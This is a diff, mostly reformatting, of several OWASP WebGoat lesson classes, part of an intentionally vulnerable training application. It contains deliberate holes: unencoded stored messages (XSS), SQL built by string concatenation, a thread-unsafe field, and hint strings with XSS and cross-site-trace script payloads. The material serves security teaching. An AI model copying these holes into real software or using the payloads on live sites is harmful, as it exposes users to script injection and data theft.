* For details, please see http://code.google.com/p/webgoat/
*
@ -57,7 +57,10 @@ import org.owasp.webgoat.util.HtmlEncoder;
*/
public class StoredXss extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String MESSAGE = "message";
@ -75,36 +78,34 @@ public class StoredXss extends LessonAdapter
private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message
/**
* Adds a feature to the Message attribute of the MessageBoardScreen object
*
* @param s The feature to be added to the Message attribute
* @param s
* The feature to be added to the Message attribute
*/
protected void addMessage(WebSession s)
{
try
{
String title = HtmlEncoder.encode(s.getParser().getRawParameter(
TITLE, ""));
String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, ""));
String message = s.getParser().getRawParameter(MESSAGE, "");
Connection connection = DatabaseUtilities.getConnection(s);
String query = "INSERT INTO messages VALUES (?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, count++);
statement.setString(2, title);
statement.setString(3, message);
statement.setString(4, s.getUserName());
statement.execute();
}
catch (Exception e)
} catch (Exception e)
{
// ignore the empty resultset on the insert. There are a few more SQL Injection errors
// that could be trapped here but we will let them try. One error would be something
@ -117,11 +118,11 @@ public class StoredXss extends LessonAdapter
}
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -138,7 +139,6 @@ public class StoredXss extends LessonAdapter
return (ec);
}
/**
* Gets the category attribute of the StoredXss object
*
@ -149,7 +149,6 @@ public class StoredXss extends LessonAdapter
return Category.XSS;
}
/**
* Gets the hints attribute of the MessageBoardScreen object
*
@ -159,25 +158,21 @@ public class StoredXss extends LessonAdapter
{
List<String> hints = new ArrayList<String>();
hints.add("You can put HTML tags in your message.");
hints
.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
hints.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field.");
hints
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in the message field.");
hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in the message field.");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the MessageBoardScreen object
*
@ -188,11 +183,11 @@ public class StoredXss extends LessonAdapter
return ("Stored XSS Attacks");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeCurrent(WebSession s)
@ -211,8 +206,7 @@ public class StoredXss extends LessonAdapter
// cookies, but not get confused by other users scripts
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?";
PreparedStatement statement = connection.prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum);
@ -220,13 +214,10 @@ public class StoredXss extends LessonAdapter
if ((results != null) && results.first())
{
ec.addElement(new H1("Message Contents For: "
+ results.getString(TITLE_COL)));
Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL)));
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR(new TD(new B(new StringElement("Title:"))));
row1.addElement(new TD(new StringElement(results
.getString(TITLE_COL))));
row1.addElement(new TD(new StringElement(results.getString(TITLE_COL))));
t.addElement(row1);
String messageData = results.getString(MESSAGE_COL);
@ -234,13 +225,14 @@ public class StoredXss extends LessonAdapter
row2.addElement(new TD(new StringElement(messageData)));
t.addElement(row2);
// Edited by Chuck Willis - added display of the user who posted the message, so that
// if users use a cross site request forgery or XSS to make another user post a message,
// Edited by Chuck Willis - added display of the user who posted the message, so
// that
// if users use a cross site request forgery or XSS to make another user post a
// message,
// they can see that the message is attributed to that user
TR row3 = new TR(new TD(new StringElement("Posted By:")));
row3.addElement(new TD(new StringElement(results
.getString(USER_COL))));
row3.addElement(new TD(new StringElement(results.getString(USER_COL))));
t.addElement(row3);
ec.addElement(t);
@ -258,12 +250,10 @@ public class StoredXss extends LessonAdapter
{
if (messageNum != 0)
{
ec.addElement(new P().addElement("Could not find message "
+ messageNum));
ec.addElement(new P().addElement("Could not find message " + messageNum));
}
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -272,11 +262,11 @@ public class StoredXss extends LessonAdapter
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeInput(WebSession s)
@ -309,11 +299,11 @@ public class StoredXss extends LessonAdapter
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
public static Element makeList(WebSession s)
@ -324,17 +314,15 @@ public class StoredXss extends LessonAdapter
{
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
// edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts
ResultSet results = statement.executeQuery(STANDARD_QUERY
+ " WHERE user_name LIKE '" + getNameroot(s.getUserName())
+ "%'");
ResultSet results = statement.executeQuery(STANDARD_QUERY + " WHERE user_name LIKE '"
+ getNameroot(s.getUserName()) + "%'");
if ((results != null) && (results.first() == true))
{
@ -342,15 +330,13 @@ public class StoredXss extends LessonAdapter
for (int i = 0; results.next(); i++)
{
A a = ECSFactory.makeLink(results.getString(TITLE_COL),
NUMBER, results.getInt(NUM_COL));
A a = ECSFactory.makeLink(results.getString(TITLE_COL), NUMBER, results.getInt(NUM_COL));
TD td = new TD().addElement(a);
TR tr = new TR().addElement(td);
t.addElement(tr);
}
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error while getting message list.");
}
@ -362,7 +348,6 @@ public class StoredXss extends LessonAdapter
return (ec);
}
private static String getNameroot(String name)
{
String nameroot = name;

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -13,35 +14,33 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.A;
import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -50,7 +49,10 @@ import org.owasp.webgoat.session.*;
*/
public class ThreadSafetyProblem extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String USER_NAME = "username";
@ -58,11 +60,11 @@ public class ThreadSafetyProblem extends LessonAdapter
private String originalUser;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -90,25 +92,20 @@ public class ThreadSafetyProblem extends LessonAdapter
Thread.sleep(1500);
// Get the users info from the DB
String query = "SELECT * FROM user_system_data WHERE user_name = '"
+ currentUser + "'";
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
String query = "SELECT * FROM user_system_data WHERE user_name = '" + currentUser + "'";
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ec.addElement("Account information for user: "
+ originalUser + "<br><br>");
ec.addElement("Account information for user: " + originalUser + "<br><br>");
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
}
else
{
s.setMessage("'" + currentUser
+ "' is not a user in the WebGoat database.");
s.setMessage("'" + currentUser + "' is not a user in the WebGoat database.");
}
}
if (!user1.equals(currentUser))
@ -116,8 +113,7 @@ public class ThreadSafetyProblem extends LessonAdapter
makeSuccess(s);
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -126,7 +122,6 @@ public class ThreadSafetyProblem extends LessonAdapter
return (ec);
}
/**
* Gets the hints attribute of the ConcurrencyScreen object
*
@ -135,18 +130,14 @@ public class ThreadSafetyProblem extends LessonAdapter
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Web applications handle many HTTP requests at the same time.");
hints.add("Web applications handle many HTTP requests at the same time.");
hints.add("Developers use variables that are not thread safe.");
hints
.add("Show the Java source code and trace the 'currentUser' variable");
hints
.add("Open two browsers and send 'jeff' in one and 'dave' in the other.");
hints.add("Show the Java source code and trace the 'currentUser' variable");
hints.add("Open two browsers and send 'jeff' in one and 'dave' in the other.");
return hints;
}
/**
* Gets the instructions attribute of the ThreadSafetyProblem object
*
@ -158,27 +149,23 @@ public class ThreadSafetyProblem extends LessonAdapter
String instructions = "The user should be able to exploit the concurrency error in this web application "
+ "and view login information for another user that is attempting the same function "
+ "at the same time. <b>This will require the use of two browsers</b>. Valid user "
+ "names are 'jeff' and 'dave'."
+ "<p>Please enter your username to access your account.";
+ "names are 'jeff' and 'dave'." + "<p>Please enter your username to access your account.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(80);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.CONCURRENCY;
}
/**
* Gets the title attribute of the ConcurrencyScreen object
*
@ -189,19 +176,18 @@ public class ThreadSafetyProblem extends LessonAdapter
return ("Thread Safety Problems");
}
/**
* Constructor for the ConcurrencyScreen object
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
}
catch (Exception e)
} catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR;
@ -19,32 +19,31 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -58,7 +57,8 @@ public class TraceXSS extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
@ -72,8 +72,7 @@ public class TraceXSS extends LessonAdapter
try
{
String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"field2", "4128 3214 0002 1999"));
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
@ -81,25 +80,19 @@ public class TraceXSS extends LessonAdapter
// test input field1
if (!pattern1.matcher(param1).matches())
{
if (param1.toLowerCase().indexOf("script") != -1
&& param1.toLowerCase().indexOf("trace") != -1)
if (param1.toLowerCase().indexOf("script") != -1 && param1.toLowerCase().indexOf("trace") != -1)
{
makeSuccess(s);
}
s
.setMessage("Whoops! You entered "
+ param1
+ " instead of your three digit code. Please try again.");
s.setMessage("Whoops! You entered " + param1 + " instead of your three digit code. Please try again.");
}
// FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -107,21 +100,18 @@ public class TraceXSS extends LessonAdapter
}
TR tr = new TR();
tr.addElement(new TH().addElement(
"Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser()
.getStringParameter("QTY1", "1")))
new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 1.0f);
total = quantity * 69.99f;
@ -129,12 +119,11 @@ public class TraceXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser()
.getStringParameter("QTY2", "1")))
new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 1.0f);
total = quantity * 27.99f;
@ -142,13 +131,11 @@ public class TraceXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser()
.getStringParameter("QTY3", "1")))
new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 1.0f);
total = quantity * 1599.99f;
@ -156,14 +143,12 @@ public class TraceXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser()
.getStringParameter("QTY4", "1")))
new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 1.0f);
total = quantity * 299.99f;
@ -173,8 +158,7 @@ public class TraceXSS extends LessonAdapter
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -184,40 +168,31 @@ public class TraceXSS extends LessonAdapter
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD()
.addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory
.makeButton("Update Cart")));
tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",
param1)));
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1", param1)));
t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign(
"center"));
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -225,7 +200,6 @@ public class TraceXSS extends LessonAdapter
return (ec);
}
/**
* DOCUMENT ME!
*
@ -236,7 +210,6 @@ public class TraceXSS extends LessonAdapter
return Category.XSS;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
@ -245,14 +218,11 @@ public class TraceXSS extends LessonAdapter
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Most web servers support GET/POST. Many default installations also support TRACE");
hints
.add("JavaScript has the ability to post a URL:<br>"
hints.add("Most web servers support GET/POST. Many default installations also support TRACE");
hints.add("JavaScript has the ability to post a URL:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"GET\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; "
+ "document.write(str1);&lt;/script&gt;");
+ " xmlHttp.send();str1=xmlHttp.responseText; " + "document.write(str1);&lt;/script&gt;");
hints.add("Try changing the HTTP GET to a HTTP TRACE");
hints
.add("Try a cross site trace (XST) Command:<br>"
@ -263,17 +233,18 @@ public class TraceXSS extends LessonAdapter
return hints;
}
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
// = new
// ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
// xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
private final static Integer DEFAULT_RANKING = new Integer(130);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.text.Format;
@ -7,7 +8,6 @@ import java.util.Arrays;
import java.util.Date;
import java.util.List;
import java.util.Properties;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication;
@ -15,7 +15,6 @@ import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -34,32 +33,31 @@ import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -121,7 +119,8 @@ public class UncheckedEmail extends LessonAdapter
{
Message sentMessage = sendGoogleMail(to, subject, message, emailFromAddress, gId, gPass);
formatMail(ec, sentMessage);
} else
}
else
{
sendSimulatedMail(ec, to, subject, message);
}
@ -132,8 +131,7 @@ public class UncheckedEmail extends LessonAdapter
{
makeSuccess(s);
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -164,8 +162,7 @@ public class UncheckedEmail extends LessonAdapter
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new StringElement(sentMessage.getContent().toString()));
}
catch (Exception e)
} catch (Exception e)
{
// TODO Auto-generated catch block
ec.addElement(new StringElement("Fatal error while sending message"));
@ -402,8 +399,7 @@ public class UncheckedEmail extends LessonAdapter
*/
public String getInstructions(WebSession s)
{
String instructions =
"This form is an example of a customer support page. Using the form below try to:<br>"
String instructions = "This form is an example of a customer support page. Using the form below try to:<br>"
+ "1) Send a malicious script to the website admin.<br>"
+ "2) Send a malicious script to a 'friend' from OWASP.<br>";
return (instructions);

View File

@ -1,9 +1,8 @@
/*
* Created on May 26, 2005
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
* Created on May 26, 2005 TODO To change the template for this generated file go to Window -
* Preferences - Java - Code Style - Code Templates
*/
package org.owasp.webgoat.lessons;
import java.rmi.RemoteException;
@ -13,11 +12,9 @@ import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import javax.xml.namespace.QName;
import javax.xml.rpc.ParameterMode;
import javax.xml.rpc.ServiceException;
import org.apache.axis.client.Call;
import org.apache.axis.client.Service;
import org.apache.axis.encoding.XMLType;
@ -33,45 +30,43 @@ import org.apache.ecs.html.Select;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author asmolen
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Code Style - Code Templates
*/
public class WSDLScanning extends LessonAdapter
{
@ -88,25 +83,27 @@ public class WSDLScanning extends LessonAdapter
public final static String ccNumber = "getCreditCard";
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg")
.setAlt("Parasoft").setBorder(0).setHspace(0).setVspace(0);
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0)
.setVspace(0);
private static WebgoatContext webgoatContext;
/**
* We maintain a static reference to WebgoatContext, since this class
* is also automatically instantiated by the Axis web services module,
* which does not call setWebgoatContext()
* We maintain a static reference to WebgoatContext, since this class is also automatically
* instantiated by the Axis web services module, which does not call setWebgoatContext()
* (non-Javadoc)
*
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/
@Override
public void setWebgoatContext(WebgoatContext webgoatContext) {
public void setWebgoatContext(WebgoatContext webgoatContext)
{
WSDLScanning.webgoatContext = webgoatContext;
}
@Override
public WebgoatContext getWebgoatContext() {
public WebgoatContext getWebgoatContext()
